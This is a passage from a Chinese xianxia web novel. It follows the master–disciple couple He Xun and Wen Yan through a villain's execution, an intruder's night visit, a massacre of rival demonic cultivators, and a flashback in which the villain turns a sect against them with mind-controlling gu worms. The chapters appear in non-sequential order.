“……好吧。”就见贺峋笑着摇摇头,“光是想想,还是舍不得。” 贺峋最后说他其实想象不出两人不在一起会是什么样子。 闻厌说真巧,其实他也是。 所以他们注定相爱。 【正文完】 第56章 “广云宗的消息传过来了?”闻厌坐在信阁的书案后, 看桌面上已经被贺峋整理过的文书。 赵无为经仙门各派公审后被处死,但当时出现了个小插曲,也一并记载到了送往山海楼的情报中。 段婉清出现了。 赵无为受刑时不住地拼命挣扎, 剧烈的疼痛似乎激发了他的潜力,又或者他从未真正心服口服地认过罪,在还剩最后一口气的时候, 竟真的被他挣脱开了一瞬,监刑的两个弟子没有防备,也被他所伤, 差点丢了性命。 当时先于所有人来到赵无为面前的是段婉清。 段婉清仍旧神情木然。 魂魄残缺不全的人不会有过多自己的思想,可她却在法事进行到一半的时候突然离开,直接往赵无为这边走来。几位负责法事的修士大感意外,追在她身后,试图劝人回去,不要误了重入轮回的时辰。 赵无为愣了一下,突然爆发出一阵大笑, 在浑身是血的情况下, 看起来狰狞又吓人。 “婉清,我就知道你没有怪过我,你也是理解我的,对不对?”赵无为痴痴地笑着,往前扑, 想抓段婉清的手, 口中神经质地道, “婉清, 还是你好,你对我真好……” 话音戛然而止, 周围赶着过来制服赵无为的修士也停下了脚步,爆发出一阵失声惊叫。 只见一柄匕首插进了赵无为的胸口,不偏不倚。 赵无为瞪大了双眼,错愕地看着黑红污浊的血液自胸前涌出,在极度的不可置信中缓缓倒下了。 死不瞑目。 段婉清一直没有表情的脸上竟挣扎着露出了一个笑容,像是属于她本人的灵魂短暂地完整归位了一瞬,完成了一直没有完成的事情。 “厌厌,这和你有关系。”贺峋站在书案前,隔着一张桌子垂眸看自己徒弟,用笃定的语调道,“那日从广云宗离开前,你做了什么?” 闻厌放下手中的文书,弯了弯眼眸,但又不像是纯然的笑意,轻描淡写道:“与我没多大关系,我只是让她能够暂时神魂归位罢了。” 他只是觉得……身死之后,还要被罪魁祸首恬不知耻地一遍遍诉说无辜和想念,实在让人恶心。 闻厌轻轻一笑,很快岔开了话题。 “明日来山海楼的人那么多吗?”在关于广云宗的消息下,放着的就是明日归元之会的信报。 贺峋接过他刚看完的文书,放进已经整理好了的那一摞,“嗯”了一声:“我让他们都必须前来。” 闻厌意外地挑了挑眉:“有情况?” 贺峋一笑,卖关子似的,就是没有明说。 神神秘秘的,也不知道在盘算着什么,想来魔域中的其他人应该就是被这吓得不轻,这几日山海楼的会客厅就没有空过,满是想来一探口风的魔修。 不过全部无功而返。 贺峋谁都没见,慢悠悠地和自己徒弟腻在一处,别提过得多惬意了。 闻厌好奇心起,偏偏贺峋就是不松口,被他缠着问了好一会儿也不为所动,还装模作样地整理着一团乱的文书,一本正经地让他不要添乱。 闻厌眼神都要把人瞪穿了也无事发生。 “好啦,明日就你就知道了。”贺峋还是他这种眼神中放下了手中的东西,戳了下徒弟的额头,“倒是这信阁被你弄得乱七八糟的,有多久没有收拾过了?” 闻厌瞬间被戳漏了气,不吱声了。 贺峋低笑一声,直接越过桌案把他腾空拉了过来。 对方突如其来的动作让闻厌一惊,他靠在桌沿直面贺峋,眸中满是警惕:“干什么?师尊,你什么时候变得那么小心眼了,这也要生气?” 贺峋俯身,闻厌只能一手撑着臀后的桌面后仰和人拉开距离。 贺峋的手覆上了他的手背,分明的骨节把他的手拢住,微凉指尖慢慢挤进他的指缝,和他的手交叠在一起。 空间有限,无论他怎样意图往后躲,熟悉的气息仍旧毫不讲理地把他环绕。 闻厌眼眸一转,主动凑上前去啄了下贺峋的唇角。他刻意放软了嗓音,下颌微抬,乌黑的眼眸中盛着柔软的光,浓密的眼睫颤了颤,小声对人喊疼。 “下次好不好?还疼,不想做。” 贺峋似笑非笑地看着他,两人目光交错,在越发暧昧的氛围中无声僵持着。 最后贺峋先收回了手。 闻厌得意地扬了扬眉梢。 “下次?”贺峋征求道,“怎样都行?” 闻厌迟疑了一会儿,秉持着明日事明日操心的原则,忍痛点了点头。 贺峋满意地笑了。 闻厌也很满意,为自己机智地逃过一劫,所以在贺峋要伸手抱他的时候没有拒绝。 推开信阁的门,山海楼已经被笼罩在了一片夜色中,贺峋直接抱着他往回寝殿的方向走。 夜色昏暗,他们并不引人注意,偶有提着灯的侍从经过,先是一惊,便立马识趣地低下头站在一旁,不敢多看。 晚风清爽凉快,尤其是这样没有要紧事的时候,和人慢悠悠走回去的路程也变得格外惬意。 闻厌在贺峋的臂弯中晃了晃腿,舒服地眯着眼,有些昏昏欲睡。 直到听见贺峋的一声低笑。 身体条件反射地警觉起来,每当对方露出这种的笑容都没什么好事。 果然,下一瞬就听贺峋道:“厌厌,那么多次了,你找借口的能力怎么还不过关。” 闻厌头上缓缓冒出一个问号。 “我还不知道你吗?要真的疼早就闹起来了,哪会一整日都没点动静。”贺峋道,“下次至少找些不会让我第一时间就发现你在胡扯的理由啊。” “……什么?”闻厌难以置信。 然后他就猛地意识到自己被坑了。 他现在回想起对方最后那讨他一个承诺的问句,再结合一路顺着他的话的表现,这才反应过来对方从一开始就没有这种打算,反而是他被诈得赔了夫人又折兵。 “……” “厌厌,可不能玩不起哦。”贺峋笑眯眯的,把他不久前说的话原封不动地还给了他。 闻厌被气得牙痒痒,揽着对方脖子的手一使力,就攀上去恶狠狠地咬了贺峋的颈侧一口。 “嘶——”贺峋把人掐着脸移开,“还真咬啊?” 闻厌哼了一声,愤愤地偏头叼过贺峋掐着他的指节磨了磨牙。 贺峋好气又好笑地道:“不带这么耍赖的啊。” 回应他的是虎口又被人挑衅地咬了一口。 下一瞬闻厌就被人单手抱着颠了颠,随时会摔下去的感觉让他瞬间紧张起来,连忙双手抱紧了对方的脖子。 听到头顶传来的轻笑声,闻厌气闷道:“师尊你也太小气了吧!” 转眼已经拐进寝殿的大门,贺峋把人往门边的墙上一按,理直气壮道他就是小气,能怎么样? ……闻厌不能怎样,就连扑腾都像是被拎着后颈提起来的猫,没有任何实际作用。 博弈再次以贺峋心满意足地将自己珍爱的猎物收入囊中结束。 贺峋爱不释手摸了摸徒弟乌黑柔顺的发丝,低头正要吻上眼前人的唇瓣,突然神情一凛,面对闻厌时的玩笑神情刹那如潮水般退去,周身威压往四周扩散,气势渗人无比。 “谁?” 山海楼的楼主寝殿很大,加上平日也没谁有胆子靠近,除了特殊情况外,外围并没有设下结界。 在闻厌和贺峋两人共同的注视中,有道身影颤颤巍巍地从角落爬了出来。 “贺、贺楼主,闻楼主……”那人被吓得结结巴巴的,说都说不利索,努力扬起一个笑容,可讪笑挂在脸上,却比哭还难看。 闻厌上下打量了这人一番。 面容清秀,衣着稀少,在月黑风高时摸进别人寝殿,什么目的昭然若揭。 而更荒谬的是,这场景闻厌并不陌生,在他刚上任的时候就遇见过一轮了。 所以他很快速就道:“万宝宫的人?” 语气肯定。 那人哆哆嗦嗦地应是。 还没等闻厌逼问,那人就倒豆子似的全都说了:“是宫主命我来的,以前万宝宫对山海楼多有冒犯,宫主特命我来赔罪,求明日的归元之会上两位高抬贵手,放过万宝宫……” 闻厌听笑了:“你们宫主真是昏了头了,这种馊主意都想得出。” 闻厌走到那人面前,居高临下地垂下眼,好整以暇道:“那你这次要来找谁?” 那人飞快地抬头看了站在面前的两人一眼,接着迅速低下头去,支支吾吾着,一句话也不敢说。 他来之前,他们宫主就已经交代得很清楚了,之前同样的招数已经在这位闻小魔君身上试过,毫无用处,所以这次目标明确地直指贺峋。 他趁着将要举行归元之会,山海楼守卫稍有松懈的空档,废了九牛二虎之力混了进来,又好不容易摸到楼主的寝殿……然后发现根本进不去! 对付其他魔修的手段在这两位山海楼楼主身上都神奇地失效了,他百思不得其解……直到他看到举止亲密的两人。 恍然大悟。 他觉得自己无论指谁都没有好下场,对面两人落在他身上的目光如出一辙阴沉得吓人,偏偏还要不约而同地微扬着嘴角,皮笑肉不笑的模样让人恨不得下一瞬就与世长辞。 “不说吗?”闻厌刚问了句,那人就被吓得一抖,连忙指向了贺峋。 闻厌的眼神瞬间冷得冰窖一般。 那人顿时毫不怀疑自己将要命丧于此。 闻厌却是笑了一声,虽然不含任何温度,接着在对方惊恐万状的神情中道:“我以前就已经和王宏志说过,再有下次,他这宫主的位置也坐到头了。” 闻厌没看到的是,在他这句话一出,身后的贺峋眼神也微妙地冷了下来。 然而在他们面前的万宝宫魔修却看得清清楚楚,浑身都发起抖来。万念俱灰之际,却是听得闻厌轻飘飘地扔了个滚字给他,错愕地瞪大了眼睛。 他如获新生,又壮起胆子飞快地看了一眼贺峋的神情,并没有阻止之意,连忙感恩戴德地跑了。 那人的身影刚消失在视线中,闻厌就伸手把身旁的贺峋拽了过来。 他面色不善,漂亮的五官阴沉得能滴出水来,和方才一路被贺峋抱着回来的模样判若两人,靠坐在身后的窗台上,眯起眼上上下下地把人扫视了一遍,有种发现所有物被人觊觎的极度不悦感。 闻厌道:“今日是谁值守?后半旬最难的任务都让他去。” 贺峋“嗯”了一声,赞同道:“我同意。” 但没有人动,两人都知道现在最让人在意的不是这件事情。 闻厌拽着贺峋外袍的手又加了些力,让对方离自己更近了些,然后接着道:“我不想再看到万宝宫了。” 从他上任以来就一直和苍蝇似的,尤其是宫主王宏志,好色之心人尽皆知,瞎了一只眼还贼心不死,别以为他没发现每次见到这人时对方那暗中打量的目光。要是这也就罢了,他不屑理会,可是偏偏…… 闻厌的眼神落在贺峋的脸上,此刻一种从未有过的烦躁完全占据了他的心头,隐晦地压在他平静的外表下。 话语中轻描淡写的杀意完完整整地传到了贺峋耳中,却奇异地让那双黑沉眼眸中的阴霾散去不少。 “明天那么多人看着呢,直接动手吗?”贺峋口中说着,可语气中听不出任何反对的意思。 “我讨厌别人动我的东西。”闻厌阴恻恻地道。 贺峋弯起眼眸,应了声好。 他浮于表面的反对只存在不到一刻,就彻底消散在夜色中。 闻厌终于脸色稍缓,满意地翘了翘嘴角,直起身想要吻一下眼前人的唇角。 可是他刚凑上去,对方就往后拉开了一点距离,像是恰好和人错了个空,于是闻厌又往前凑一点……再次扑了个空。 他不满地盯着那点近在咫尺的距离,终于发现了对方故意为之的坏心思。 他一把拽下了贺峋的衣领,不耐地强行打破对方空出来的间隙,要仰头吻上去,可被贺峋抬手按住了肩膀。 贺峋一手还背在身后,姿态随意,仿佛没接收到徒弟有些急躁的不快神情,开口问道:“厌厌方才说的……以前是什么意思?” 闻厌一愣,后知后觉地意识到引发对方此刻不悦的原因是什么,重新打量了贺峋一眼,这才发现隐藏在这人云淡风轻外表下的暗流涌动。 这让他控制不住地笑了起来,有种掰回一局的快感。 他能敏锐地感知到对方话语间对过去十年发生的事情的在意……不过这又能如何? 这人自找的。 活该。 所以他故意道:“师尊想知道?您自己回去看呀。” 明里暗里都在表达对他的不满,阴阳怪气得过分。 “厌厌。”贺峋把他的名字在唇齿间嚼了又嚼,投下来的眼神又深又沉,但并没有被他激得失态,只是轻飘飘地道,“我不信你的品味会变得如此糟糕。” 闻厌哼了一声,嘴上不饶人:“这可难说。” “不过确实有很多不长眼的围着你转,让人看了就心生不快。” 贺峋一条条翻起了旧账:“你那副使,有次见你睡着了,手都快伸到你脸上去,还有你之前去崖顶的时候,竟然还带着别人的外袍……” 贺峋说起这些的时候都没有停顿,流畅无比,一看就是在心里翻来覆去斤斤计较了无数回。 本来的闲适姿态在历数起这些事情的时候都维持不住了,贺峋抬手把人禁锢在自己怀中,像是要确认眼前人此时完完全全属于自己:“厌厌,他们怎么敢这样看你?你只能是我的。” “等一下……这都什么时候的事情?”闻厌怀疑自己的记忆出现了断层,对贺峋说的没留下一点印象。 贺峋还以为自己徒弟要赖账,毕竟这种事情对方着实干得不少,绘声绘色地详细描述起当时的情景来。 闻厌听完沉默片刻,很真诚地发问:“请问师尊,我为什么会睡着呢?” 贺峋厚颜无耻道:“因为我下了迷香。” “……” 闻厌呵呵一笑,言简意赅道:“滚。” 上一个被他这样说的刚才已经吓得连滚带爬地跑了,可在贺峋这里被自己徒弟指着鼻子骂简直司空见惯,顺了顺徒弟炸起的毛,就毫不见外地把人重新扒拉回自己怀中。 闻厌象征性地挣了挣,见没挣动,随人去了。 只是他还有些不解,毕竟按照贺峋的性格,要是看某个人如此不顺眼,那对方可很少能安然无恙地蹦跶到现在。 “你之前不是喜欢使唤他去干活吗?真弄死了你生气怎么办?至于另外一个……”贺峋嫌弃道,“实在太蠢了,怕万一会被染上。” 闻厌硬生生从对方一本正经的话语中听出了微妙的委屈,哪怕知道这大概率是某人刻意做小伏低,还是禁不住感到新奇又想笑。 他压下上翘的嘴角:“师尊还会怕我生气吗?昨晚我也生气了,又不见你有反应。” “你那又不是真的生气。”贺峋理直气壮,伸手抄起坐在窗台上的徒弟往里走,“而且我怎么没反应了?” 他低下头和人咬耳朵,闻厌最后还是被逗得笑骂一声,勾着人脖子在侧脸上狠狠地亲了一口,和人的身影一起没入寝殿深处。 …… 山海楼的那两位真的有一腿。 自从昨晚收到这个消息后,万宝宫的宫主王宏志就已经辗转反侧了一整夜。 这背后代表着的意味,让他千辛万苦遣人进山海楼的举动写满了不妙的意味。 偷鸡不成蚀把米不外乎此。 可他又琢磨着,或许还有其他可能也说不准。 关于师徒两人这方面的传言他以前零星听到过,可是没往心里去,特别是传出了闻厌弑师这档子事后,就算真有些不清不楚的关系,他也自动把其归为一时兴起的玩玩而已。 这放在魔修身上实在太正常了。 若是如此,下次再找个时机,趁着这两人没有待在一起的时候送人过去,好像也不是不行…… 但有种莫名的预感一直盘旋在他心间,他觉得自己的判断好像出现了重大失误,可又说不上是哪里不对。 他转头看其他人,发现在场不少人都心有揣揣,而且出现这种神情的一般都是这十年间明里暗里有给那位闻小楼主使绊子的人。 贺峋的出现实在太出人意料,所有人都摸不准他的态度,万一这人要给自己徒弟出气…… 不,不会的。 王宏志强行打断这个可怖的想法。 殿内一片微妙气氛,位于最上首的两人却神色如常。 贺峋道:“既然近期的事情已经商议完了,那我们接着来聊聊这十年间的事情。” 此话一出,近段时间的种种猜测瞬间涌上心头,所有人都嗅到了其中不同寻常的味道。 “关于这十年,本座听到了很多传闻。”贺峋语气和缓,可是每说一个字都让人心头发紧,似有无形的重担沉甸甸地压在心头。 “传闻里本座的徒弟在这段时间里似乎过得不太好。”贺峋道,“当然,本座这做师尊的要负绝大部分责任,要不是离开许久,也不会给人可乘之机。” 他笑着叹息了一句:“可本座的徒弟向来心软,被人欺负了也不会还手,本座听了后心里着实有些不是滋味。” 所有人越听越神色古怪,感觉十年不见,其他地方尚且看不出有什么变化,但这人对自己徒弟的错误认知倒是越来越严重。 心软? 他们横看竖看都无法把这个词和闻厌联系起来……吧。 只见闻厌乖乖巧巧地坐在自己师尊身边,浓长的眼睫微垂着,又本来就是一副漂亮过人的长相,倒真是看起来柔弱又无害。 “本座感觉有些人可能误会了什么,索性趁着今日这个机会一次性挑明了。”贺峋道。 “厌厌。”他唤了自己的徒弟一声。 闻厌心中一跳,这段时间以来就一直萦绕在心头的模糊预感再度浮现。 在越来越快的心跳中,他看着贺峋拿出了一件有些眼熟的东西,于众目睽睽下绕到他面前。 惊呼声四起。 饶是再见多识广,在场的魔修也没料到会见到接下来的这一幕。 那是象征着魔君身份的戒指,哪怕直到现在,都是不少人垂涎的对象。可是紧接着就见贺峋蹲下身,神色自然地把它戴回了自己徒弟手上。 闻厌在看到戒指的那瞬有些惊讶。 他差点都把这东西忘了,完全不记得放到了哪里,怎么会跑到了贺峋手上? 贺峋似乎看出了他的疑惑,借着起身的那一瞬间,在他耳边轻笑着道:“某天早晨醒来在榻边找到的,厌厌,你这乱扔东西的毛病什么时候能改过来。” 可闻厌已经有些听不进对方在说什么了,似乎浑身上下的感官都暂时失灵,只剩对方说话时擦着耳廓升起的温热气流。 他在这一瞬很想抓着人衣领放肆地吻上去,然而对方只是含笑看他一眼,就起身转了过去。 刚刚还在人耳边调笑着的温和神情在贺峋转身的刹那沉了下去,面向众人时,贺峋脸上还挂着笑,眼睛里却没有分毫笑意。 所有人还陷在错愕中没反应过来。 贺峋做这一系列动作的神态太过理所当然,让人感觉他就像仅仅给人披了件衣裳。 贺峋非常直白地道:“虽然本座回来了,但一切仍旧维持原状,若是有人想要趁机挑起事端,本座劝你们趁早打消这个念头。” “此为事一。”贺峋话音一顿,“至于事二……” 拖长的调子让所有人的心都悬了起来。 霎时风声鹤唳,暗处的恶意蓄势待发,而贺峋温文尔雅道:“还想请有些朋友留下来一叙。” 要开始了。 不少魔修早有准备,贺峋这句话一落下,早就在外围布好的埋伏瞬间爆发,一时杀声震天。 而贺峋揽着已经跃跃欲试的徒弟,将人往前面推了一把,轻笑道:“去吧,想杀谁就杀谁,师尊给你担着。” 血色瞬间在殿上蔓延开来。 有些魔修在动乱开始前就机灵地溜之大吉,闻厌没有阻拦,剩下的本来就是与山海楼不对付之人,知道只要这对师徒还在,就算逃得过初一也逃不过十五,索性心一横来拼一把。 没有人留手。 闻厌的衣袍很快就被血迹浸染,艳色越浓而喧嚣渐歇,等到所有声音都沉寂下来,他转身看到了一直坐在身后的贺峋。 霎时只剩下了越来越快的心跳声鼓动耳膜。 贺峋的眼中盛着笑意,安然坐在满地尸首中注视着他,姿态闲适,让闻厌分不清此刻沸反盈天的心跳是杀戮带来的生理反应,还是仅仅因为眼前人而起。 他拖着血迹未干的剑往高台上走去,低下头看人。 “高兴吗?”贺峋仰头笑吟吟地问他。 闻厌扬起嘴角,嗯了一声,接着又道:“但师尊还能让我更高兴一点。” 贺峋挑了挑眉。 “当啷——”长剑被扔到地上时迸发出一声悠长的回响。 而闻厌终于如一开始所想,用力吻上了贺峋的唇瓣。 他屈膝半跪在对方身侧,把人抵在椅背上,血腥味在互相纠缠,或许是他又不小心咬破了对方的唇。 贺峋抬手环住自己徒弟的腰,能感受到对方身体一直在止不住地轻颤,似乎是眸中的刺激与兴奋满溢出来,占据了对方此时每一处的骨肉与神经。 直到怀中人的身躯逐渐软了下来,贺峋揽着仍在止不住喘息的徒弟,说道:“厌厌,给你看个东西。” “好啊。”闻厌的嗓音还有些发颤,眼尾欲色和艳色浓重,歪在贺峋身上,像是被血肉浇灌出来的精怪,漂亮得摄人心魄。 他粲然一笑,懒洋洋地把手一伸:“师尊带我去。” …… 他没想到对方带自己去的竟然是归元岛底下的宝库。 贺峋径直往最深处走,停在了那道他怎么也打不开的石门前。 闻厌猜测过很多回这扇门背后会有什么,觉得最有可能的还是这人在漫长岁月中积累下的宝物。 “嗯?确实是宝物。”贺峋肯定了他的猜想,还笑着补充道,“举世罕见的宝物。” 下一刻,他推开了门。 比门后景象先一步被感知到的是陈旧的血腥味,穿过无数沉寂的时光来到闻厌身前,似有若无的,还没有他此刻身上的血气来得浓烈。 闻厌抬眼,看到了满屋子垂下的画卷,错落分布着,在幽暗的地底无风自动,宛若一个极具美感的展室。 ……如果忽略画布上随处可见的血迹。 画卷上是被墨色勾勒出来的身影,笔触简洁,寥寥几笔间形象便跃然纸上,姿态不同,神情各异,却又无一例外都是他。 逼真的血迹沾染在画中人的袍角脸侧,红与黑在其中交织成出一幅幅夺人眼球的奇诡画面。 闻厌看了一会儿,发现这像是他每次杀完人后的模样。 罪恶被完整陈列,可是记录的人明显在为此赞叹。 初学丹青时,贺峋就教过他,从一幅画的笔触中是能看出落笔之人的所思所想的。 而他此刻看到的是病态的痴迷与沉醉,每一道笔画都在无声地述说着疯狂的爱意,炽热得甚至让人觉得他想要偏执地把人留在永恒的画卷中。 闻厌认真地一一看完了,最后旋身对上一直站在他身后的贺峋。 他歪头一笑,随手从身侧的花瓶中抽出了一支白骨化成的花,递给贺峋,噙着笑意问对方道:“师尊会把我也变成这里的一部分吗?” “当然不,你怎么会有如此奇怪的想法。”贺峋温柔地责怪道。 他接过了闻厌递来的东西,就像接过了徒弟送给自己的玫瑰。 贺峋牵起对方的手,他亲手戴上去的戒指在白皙纤长的指节上泛着冷色调的光,他弯腰在上面落下一吻,语气轻柔缓慢,黑沉眼眸中满是令人心颤的缱绻:“厌厌,你是这里存在的意义,这里因你而熠熠生辉。” 闻厌哈哈大笑起来。 他抬手一拽,悬挂着的画卷铺天盖地地坠落,而贺峋和他一起倒在凌乱的画卷中。 他们会一起下地狱的,闻厌确信。 于是他放纵地吻上了自己的共犯。 唇齿交缠中,无形的热浪在翻涌,驱散了地底不见天日的阴冷。闻厌跪坐在贺峋身上,眉眼间的神情张狂而肆意。 他微垂眼睫,注视着自己的师尊,扬起嘴角道:“我们真是……” 拖长的调子像是某种隐晦的邀约。 贺峋便抬手拥抱住了自己费尽心思才摘得的珍宝,吻了下眼前人的鼻尖,轻笑着补完了闻厌未尽的话语。 “我们真是……命中注定的天生一对。” 【正文完】 50-55 第51章 赵无为满头冷汗, 搜魂带来的剧痛在体内还未散去,扭曲的恨意又让他双目圆睁,目光快要在闻厌身上盯出个洞来。 他当上广云宗宗主的第一件事, 就是压下了有关闻家的一切记载,把自己怎么走到现在这个位置的肮脏不堪严丝合缝地一一掩盖好。 他后来并没有放弃过寻找闻家的那个小孩,特别是成为广云宗的宗主后, 他无数次会从梦中惊醒,尖利的叫声混杂着热度惊人的火焰经常会出现在他的梦中,哪怕是醒来后也迟迟无法摆脱。 他不敢细想, 只能无数次发誓等抓到那小孩后一定要把人碎尸万段,否则难解心头之恨。 可非常让人不解的是,他所有的亲信后来都无功而返,告诉他完全没发现对方的踪迹。而那段时间各门派又在围剿贺峋,他抽不出那么多空来继续,便只能无奈地不了了之。 再次见到闻厌时,没有人知道那一刻的赵无为心中翻涌着何等的滔天恨意。 可是他下不了手了。 多年未见, 当年那个柔弱的孩子抽条长高了不少, 亦步亦趋地跟在贺峋身后。 经过贺峋手段强硬的一番血洗,仙门和魔域已经达成了一种微妙的平和,两者之间时有要坐在一处洽谈的时候。 而贺峋似乎毫不避讳自己对小徒弟的偏爱,无论去到哪里,身边都会跟着另一道身影, 从小小一只长到有贺峋的胸口高, 任何机密的事宜贺峋都没有刻意让人回避过, 坦坦荡荡地向所有人昭示他毫无保留的爱重。 虽然也有传言说私下里两人不合, 但明面上贺峋对人宝贝得很,不存在什么为了不引人注意就低调行事, 故意让人受委屈。 毕竟当实力强到任何人都无法撼动时,偏爱便不会再成为所谓的软肋。在这种情况下,赵无为明知自己最痛恨的人在何处,却根本没有任何机会下手。 在他鞭长莫及的地方,赵无为不得不承认,这个从大火中活下来的孩子被养得很好,精致秀雅的五官完全长开了,和他第一次见人就预料到的那般漂亮夺目。 以前闻家炼出的丹药随意拿出一颗来都千金难求,世代积累下的灵石珍宝多得难以想象,闻厌已经适应这种锦绣堆中的生活,但没想到换了个环境,已经刻进了骨子里的养尊处优竟被人娇惯得变本加厉,赵无为曾留意过两人相处时贺峋各种细节上对自己徒弟的照顾,简直纵容得让人乍舌。 但除此之外,赵无为觉得人好像也有些长歪了,和小时候那个柔软无助的模样不太像了。 虽然那人大多数时候仍旧顶着一副柔软无害的神情,但下一刻的抽刀利索得让人难以置信,被温热的鲜血溅了满身时,那双乌黑漂亮的眼眸都没泛起一丝波动,甚至嘴角还会弯出一个让人毛骨悚然的愉悦弧度。 不过也不奇怪,毕竟跟着这样一个杀人如麻的魔头,所以很多人都以为这又是一个和贺峋一样天生人情冷漠的怪物。 赵无为在听到这些的时候总会有种诡异的安心感,好像这样就能让自己的恨意更有名目一些,这样他才能将所有的源头都推到这个本该一早就消失在火海中的祸害身上。 回忆和现实交叠,赵无为跌坐在地,喃喃低语着:“闻景明……” 闻厌无言地和人对视一会儿,蹲下身去听对方想说些什么。 赵无为看着近在眼前的人,神情复杂地静默了片刻,猝然目露凶光,摸出怀中的短刃就向人扎去。 手臂因为颤抖失了准头,本是冲着人胸口去的不小心落到了腰间,可是又出乎赵无为意料的,闻厌似乎躲闪不及,腰侧的衣料上竟真的渗出了丝丝缕缕的血迹,让人脸上闪过几分痛楚神色。 赵无为大喜过望,举刀再落,可是其他人已经反应过来了。 唐柏一把夺下了赵无为手中的凶器。 刚才的这段回忆让他看得心火翻涌,而赵无为的这一刀更是彻底点燃了所有人的怒火。 修为不济的赵无为转瞬就被死死按在了地上,闻厌被人第一时间从赵无为身边拉走,扶着往远离赵无为的地方走去。 搀扶着他的广云宗弟子似乎也没有想到,有朝一日,自己竟然会如此轻柔地对这位让人闻风丧胆的闻小魔君。 分明上一次在同样的大殿中与人相见,还是对方行事张狂地纵火烧殿,当时那一幕甚至成了不少广云宗弟子的心理阴影。 而他现在非但对人提不起任何一丝怨恨,还升起了一种类似保护欲的情绪,尤其是他偏头看去时,闻厌微低着头,颊边有几缕碎发散落,挡住了脸上的神情,只能看到那垂下的浓密眼睫,无声地掩盖住眼眸中的所有情绪。 那广云宗的弟子觉得眼前人此时应该是极其难过的。这只要换位想想——如果是他有着如此凄楚的往事,想必连每次提及都痛苦不堪,如今突然被揭露在众目睽睽之下,无异于被迫重温了一遍那痛不欲生的过往。 可更让人看得心中发酸的是,即便如此,那人的嘴角也微微弯着,宛如在摇摇欲坠地抵抗着巨大的伤痛。 下一瞬,这些猜测都得到了证实,只见闻厌抬起头来,眉间笼着一层淡淡的哀伤,被扶着坐下时,还轻轻笑了笑,道了声谢。 赵无为的那一刀似乎对他造成的影响不小,闻厌的脸色有些发白,秾丽夺目的五官失了血色,却又在此刻迸发出破碎的、惊心动魄的美感。 这幅神情下没有人会不为之所动,那广云宗弟子和人说话都嗓音都放轻了,小心翼翼地看着人染血的腰侧,手中拿着止血的伤药不知从何下手:“闻阁主,你的伤……” 闻厌不动声色地避开了对方的手,接过对方手中的药膏,看着对方的眼睛柔声道:“谢谢你,我自己来就好。” 事情发展到这个地步,广云宗上下都脸上无光。 赵无为已经被人架了起来。他的灵力枯竭,神识也在闻厌施展的搜魂术中受损,现在广云宗随便来两位内门弟子都能毫不费力地把他制住。 广云宗的长老来到他身前,于众目睽睽之下扯下了他悬于腰间的掌门信印。 “不——”赵无为奋力挣扎,却无济于事。 鹤发长须的长老常年在宗内闭关清修,平素在宗内威望极高。 他垂眼看在挣扎中变得形容狼狈的男人,神情冷肃:“当年我就劝宗主不能仅凭一场比试的修为定下继任的人选,可惜当时宗内动荡,急需确立下一任宗主稳定人心,才让你这般伪善无耻之徒有了可乘之机。” “怎么会变成这样……”赵无为失魂落魄的目光落在面前的长老身上,畏缩哆嗦着一个个滑过面前众人唾弃气愤的面容,然后落在了此前早就被闻厌推离纷争中心的段婉清身上。 不,其实严格意义上的段婉清早就已经消散在了炉火之中,骨肉都被融进了那枚丹药里,铺就在他获得宗主之位的道路上。 现在红盖头下的是东拼西凑起来的肢体,□□之中禁锢着旧人的几分灵魂。 “不!不应该是这样的!”赵无为突然怒喝起来,目眦欲裂,血红的双眼死死地盯着被众人隔绝在身后的闻厌,嘶吼道,“如果不是你,现在宗主之位是我的,婉清也是我的——” 手杖带着灵力打在身上,顿时让赵无为惨叫一声,呕出一口血来。 “你还要执迷不悟吗?”长老的话毫不留情,戳穿赵无为最不愿面对的真相,“此事与闻公子有何干系?你自己种下的恶果,却连面对都不敢吗?” “罢了,像你这般罪孽深重的,与你说再多都是枉费唇舌。”长老一甩袖,面向众人道,“广云宗出了如此败类,让诸位道友见笑了,今日便到此结束吧,赵无为罪行累累,无可抵赖,即刻押入地牢,三日后举行会审,唐家一事广云宗也会彻查到底,还唐道友一个公道。” 目光落在默默立在角落里蒙着盖头的身影上时,长老的眼中划过不忍。 他道:“明日清晨便举行法事,超度婉清姑娘吧。” 此事便暂时落下帷幕了,观礼的宾客尽皆唏嘘不已。 “闻公子。”闻厌抬头,就看到广云宗那不苟言笑的长老走到了自己身前,看着自己时头回现出接近和蔼的神色,“你的伤怎么样了?” 闻厌正要开口,就见眼前人突然浑身一颤,他预感到不对,刚伸手搀住对方栽倒的身体,便被黑红的血染红了胸前的布料。 长老睁着眼,转瞬没了气息。 闻厌眉心一跳,在周围人的惊呼中搭上对方腕间脉搏。 下一瞬,余光中亮起寒芒,又被飞扑过来的人影撞开,霎时传来利刃扎进皮肉的闷响。 “楼主!”周则挡在他上方,背上的伤让他满头冷汗,但看到闻厌腰间染血的伤口时,神情更加愧疚,好像比自己受了伤还痛苦,“对不起,是属下来迟了。” 闻厌越过周则看去,发现是刚才还对他轻声细语的广云宗弟子也毫无征兆地拔刀相向,甚至还拼上了所有修为,分明是冲着一招置人于死地的意图去的。 放在以往这种行为闻厌不会惊讶,但今日是绝不应该出现的——在众人看到了赵无为记忆中他的过往、又还被对方所伤后。 事实也正是如此,闻厌对上的是一双空洞的眼睛。 闻厌一把将挡在面前的下属推开,抽出烟斗扬手一挡,剑尖和烟杆相撞,迸射出灵流与魔气交织的刺眼亮光。 那弟子霎时被反扑过来的魔气劈晕了,闻厌手一翻同样探向了那人的经脉,发现脉象间已被不属于他自己的某种陌生气息掌控,和那长老的情况一模一样。 “是蛊虫。”闻厌轻声道。 随着他的话音落下,殿中所有的广云宗修士身形齐齐一顿,眸光黯淡下来,不约而同地停下了手中动作,沉默而顺从地望向驱动蛊虫的人。 赵无为吐掉口中的血沫,裂开嘴唇,嗓音嘶哑阴沉:“我怎么可能会没有任何准备呢?你们也太小看我了。” 闻家的那场大火时常会在他的脑中浮现,就和他思考若有一朝事发该怎么办一样频繁,平日接触里悄无声息融进广云宗上下的蛊虫便是他的最后一层底牌,能够在半个时辰内让所有人听命于他。 闻厌脸上一直维持的平静终于挂不住了,他看了一圈,都是无一幸免的广云宗修士,神情震惊,眼中甚至都带上了一片茫然神色。 “其实应该我才是魔修来着……”闻小魔君简直快要怀疑自己了,这不是他对付山海楼里那群人的办法吗?赵无为到底是在当仙门宗主还是魔域魔君? 观礼的宾客已经散了大半,剩下的没想到自己只是晚走一步,就像掉进了魔窟里——甚至比在魔窟里还棘手,对上突然失了神智的相熟道友,没有人能完全放开手脚,抵挡得异常艰难。 